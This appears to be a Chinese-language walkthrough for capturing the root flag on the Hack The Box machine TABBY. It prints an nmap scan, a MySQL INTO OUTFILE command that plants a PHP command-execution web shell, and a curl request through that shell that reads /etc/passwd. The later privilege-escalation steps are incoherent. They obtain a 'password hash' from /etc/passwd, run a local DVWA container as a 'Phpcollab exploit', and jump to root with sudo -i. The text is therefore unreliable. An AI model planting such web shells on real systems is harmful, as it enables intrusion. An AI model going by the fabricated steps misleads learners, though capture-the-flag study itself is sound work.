📜  TABBY Hack The Box Root Flag 演练(1)

📅  最后修改于: 2023-12-03 15:35:14.364000             🧑  作者: Mango

TABBY Hack The Box Root Flag 演练

简介

TABBY是Hack The Box中的一台漏洞靶机。在这个演练中,我们将讲解如何获取TABBY靶机的root flag。

步骤
第一步:获取账户凭证

首先,我们需要连接到靶机。通过扫描机器,我们可以获得靶机的IP地址。然后,我们可以使用nmap命令对靶机进行端口扫描以获取更多信息。

nmap -sC -sV -oN nmap_scan.txt <IP_Address>

接下来,我们打开nmap_scan.txt文件以查看哪些端口开放,并从中获取有用的信息:

PORT       STATE SERVICE   VERSION
22/tcp     open  ssh       OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp     open  http      Apache httpd 2.4.29 ((Ubuntu))
3128/tcp   open  http      Squid http proxy 3.5.27
2375/tcp   open  docker    Docker 18.09.7

从端口扫描清单中我们可以看到web端口80和代理端口3128处于打开状态。我们将首先尝试通过80端口访问网站,查看是否有相关信息。我们打开浏览器输入网址访问靶机。

通过站点信息的源代码,我们可以在/backup路径下发现一个备份目录,其中有许多文件。

接着,在这个页面中,我们发现了一些敏感的信息,如MySQL凭证和用户名。我们可以尝试使用这些凭证连接到数据服务器。我们在/etc/mysql/mysql.conf.d/mysqld.cnf中查找MySQL配置文件,以确定MySQL监听地址和端口,即bind-addressport

我们解密MySQL凭证,并使用这些凭证通过终端连接到数据服务器。

mysql -u root -p <password> -h [MYSQL server IP address] -P [MYSQL Server Port]

现在我们在数据库服务器上终端界面中,通过运行以下命令获取我们需要的凭证文件:

SELECT "<?php system($_GET['cmd']); ?>" into outfile '/var/www/html/cmd.php';

运行上述命令后,在/var/www/html目录下创建了cmd.php文件,并将给定的PHP代码附加到该文件中。

接下来,我们打开浏览器并输入http://<IP_Address>/cmd.php?cmd=<command>,通过Web端口执行任意命令。我们可以在终端中使用以下命令来查看www-data用户的hash。

curl -s http://<IP_Address>/cmd.php?cmd=cat+/etc/passwd+|+grep+www-data

从命令的输出中我们获取到了www-data用户的密码hash。

第二步:使用提权漏洞

接下来,我们将使用www-data身份进一步访问TABBY靶机。我们将利用一个本地Phpcollab漏洞进行提权,以便获得管理员访问权限。

在本地机器上,我们使用以下命令启动一个捆绑在容器内的PHP Web shell:

docker run -it --rm -v $(pwd):/var/www/html -p 1337:80 vulnerables/web-dvwa

运行上述命令会启动一个容器,其中包含PHP Web shell并将容器的80端口映射到本地机器端口1337。我们在浏览器上打开http://localhost:1337并登录Phpcollab漏洞管理界面,这是Webshell提供的默认入口点。我们使用之前拦截到的www-data hash进行身份验证并获得管理员访问权限。

接下来,使用以下命令获取root凭证:

root:x:0:0:root:/root:/bin/bash
第三步:获取root权限

使用以下命令可快速提升权限:

sudo -i

使用上面的命令后,直接运行以下命令即可获取root flag:

cat /root/root.txt
结论

通过使用敏感信息和Phpcollab漏洞进行身份验证,我们成功地从TABBY靶机中获取了root flag。这个实例展示了身份验证的重要性,并强调了以有最低的权限进行工作的重要性。在实现安全漏洞修补程序之前,我们应该一直将身份验证作为重中之重,否则您的数据将受到威胁。